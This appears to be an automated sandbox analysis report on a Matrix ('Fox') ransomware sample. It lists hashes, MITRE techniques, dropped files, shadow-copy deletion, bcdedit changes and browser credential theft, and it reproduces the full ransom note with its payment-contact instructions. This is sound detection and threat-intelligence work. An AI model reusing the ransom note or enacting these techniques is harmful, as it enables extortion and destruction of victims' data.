matrix | 016061f330faaeffdd84628f613a719a2f617c8145909d047b5721429ee5b451

Analysis

max time kernel
142s
max time network
137s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
25-07-2024 07:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Size

1.2MB
MD5

268360527625d09e747d9f7ab1f84da5
SHA1

09772eb89c9743d3a6d7b2709c76e9740aa4c4b1
SHA256

42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620
SHA512

07fba0c06040fe4ef5f812a52d639bdea6cbe5bf7ff4560403ad12955e6b1ff2b4615361ac4533696a6c5e12d36fb2d2e0df3da2927f6b45f154f0a4e83315e1
SSDEEP

24576:mLeb4QFvTn5TuJR5ezGPMy4EnBB/CPVd+5M89H:Xb/GMO6d+5M+H

Score

10^/10

matrix credential_access defense_evasion discovery evasion execution impact persistence ransomware spyware stealer upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://myexternalip.com/raw

Extracted

Path

C:\Program Files (x86)\Mozilla Maintenance Service\logs\#FOX_README#.rtf

Ransom Note

{\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}} {\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;} {\*\generator Riched20 10.0.15063}\viewkind4\uc1 \pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par \pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par \cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par \b0 by our automatic software. It became possible because of bad server security. \par \cf1\b ATENTION!!!\par \cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par state and decrypt all your files quickly and safely!\par \b\par \cf2 INFORMATION!!!\par \cf0\b0 Files are not broken!!!\par Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par \i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par * Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par \i0\f0\lang1033\par \cf3\b HOW TO RECOVER FILES???\par \cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par \pard\sl240\slmult1\b\fs28 [email protected] \par [email protected]\par [email protected]\cf1\fs24\par You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par \pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par In subject line write your personal ID:\par \b\fs28 3509D71BE051C0B6\par \b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par \i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par \i0\par \cf1\b OUR ADVICE!!!\par \cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par \ul\b\par We will definitely reach an agreement ;) !!!\b0\par \ulnone\par \fs20 \par \par \par \par \par \par \par \pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par \b0\fs20\par \pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par 1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par 2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par 3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par 4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par 5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par \b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cXRWRW5Jv5hxbhgu2HJSJrtPf92iKshhm\par \pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 3509D71BE051C0B6\par M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par \pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par \pard\sa200\sl240\slmult1\fs28 X3Op6mHU\cf0\f1\fs32\lang1049\par \par }

Emails

[email protected]

[email protected]\par

[email protected]\cf1\fs24\par

URLs

https://bitmsg.me

https://bitmsg.me/users/sign_up

https://bitmsg.me/users/sign_in

Signatures

Matrix Ransomware 64 IoCs

Targeted ransomware with information collection and encryption functionality.

ransomware matrix

Processes:

42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe

description	ioc	process
File created	C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!002\Microsoft\CryptnetUrlCache\Content\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\es_419\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\ProgramData\Microsoft\MF\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Layouts\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\quc\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\Pictures\Saved Pictures\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ku-Arab\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\eu\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\Settings\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ro\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\All Users\Microsoft\Diagnosis\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\ProgramData\Microsoft\ClickToRun\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\zh-TW\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\skins\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files (x86)\Google\Update\Install\{16192F7A-F8D4-4DCE-BE88-BF122FCFADB8}\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\ProgramData\Microsoft\ClickToRun\ProductReleases\95C723C4-DC3D-4B84-A4A8-3077A3157C9F\x-none.16\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\Microsoft\CryptnetUrlCache\MetaData\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\Java\jre-1.8\lib\deploy\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\de\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\et\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\gd\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\Settings\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Comms\UnistoreDB\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Public\Videos\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sw\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Extras\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sl\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\th\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tt\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ru\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\PZUPBUUY\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\fil-PH\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-4106386276-4127174233-3637007343-1000\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sm\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls\Styles\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\wo\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pl\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

5392 bcdedit.exe
3932 bcdedit.exe
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

135 8 powershell.exe
Drops file in Drivers directory 1 IoCs

Processes:

kyAImsgA64.exe

description ioc process

File created C:\Windows\system32\Drivers\PROCEXP152.SYS kyAImsgA64.exe

pid	process
5392	bcdedit.exe
3932	bcdedit.exe

flow	pid	process
135	8	powershell.exe

description	ioc	process
File created	C:\Windows\system32\Drivers\PROCEXP152.SYS	kyAImsgA64.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

kyAImsgA64.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PROCEXP152\ImagePath = "\\??\\C:\\Windows\\system32\\Drivers\\PROCEXP152.SYS"	kyAImsgA64.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Executes dropped EXE 64 IoCs

Processes:

NWgRL7da.exekyAImsgA.exekyAImsgA64.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exekyAImsgA.exe

pid	process
4792	NWgRL7da.exe
6784	kyAImsgA.exe
6720	kyAImsgA64.exe
5592	kyAImsgA.exe
2468	kyAImsgA.exe
6228	kyAImsgA.exe
6636	kyAImsgA.exe
5716	kyAImsgA.exe
6492	kyAImsgA.exe
6580	kyAImsgA.exe
344	kyAImsgA.exe
6560	kyAImsgA.exe
6660	kyAImsgA.exe
7072	kyAImsgA.exe
7020	kyAImsgA.exe
7152	kyAImsgA.exe
2172	kyAImsgA.exe
1032	kyAImsgA.exe
6064	kyAImsgA.exe
276	kyAImsgA.exe
6044	kyAImsgA.exe
8096	kyAImsgA.exe
6844	kyAImsgA.exe
7992	kyAImsgA.exe
7888	kyAImsgA.exe
7836	kyAImsgA.exe
7760	kyAImsgA.exe
7688	kyAImsgA.exe
7660	kyAImsgA.exe
7508	kyAImsgA.exe
7460	kyAImsgA.exe
7352	kyAImsgA.exe
7304	kyAImsgA.exe
5536	kyAImsgA.exe
6920	kyAImsgA.exe
5512	kyAImsgA.exe
5352	kyAImsgA.exe
376	kyAImsgA.exe
2316	kyAImsgA.exe
1804	kyAImsgA.exe
4572	kyAImsgA.exe
5604	kyAImsgA.exe
2604	kyAImsgA.exe
6312	kyAImsgA.exe
3432	kyAImsgA.exe
3448	kyAImsgA.exe
5760	kyAImsgA.exe
4724	kyAImsgA.exe
5700	kyAImsgA.exe
4964	kyAImsgA.exe
6164	kyAImsgA.exe
6624	kyAImsgA.exe
4720	kyAImsgA.exe
1040	kyAImsgA.exe
5588	kyAImsgA.exe
5832	kyAImsgA.exe
6644	kyAImsgA.exe
7328	kyAImsgA.exe
6536	kyAImsgA.exe
6460	kyAImsgA.exe
6496	kyAImsgA.exe
7072	kyAImsgA.exe
7028	kyAImsgA.exe
2368	kyAImsgA.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification
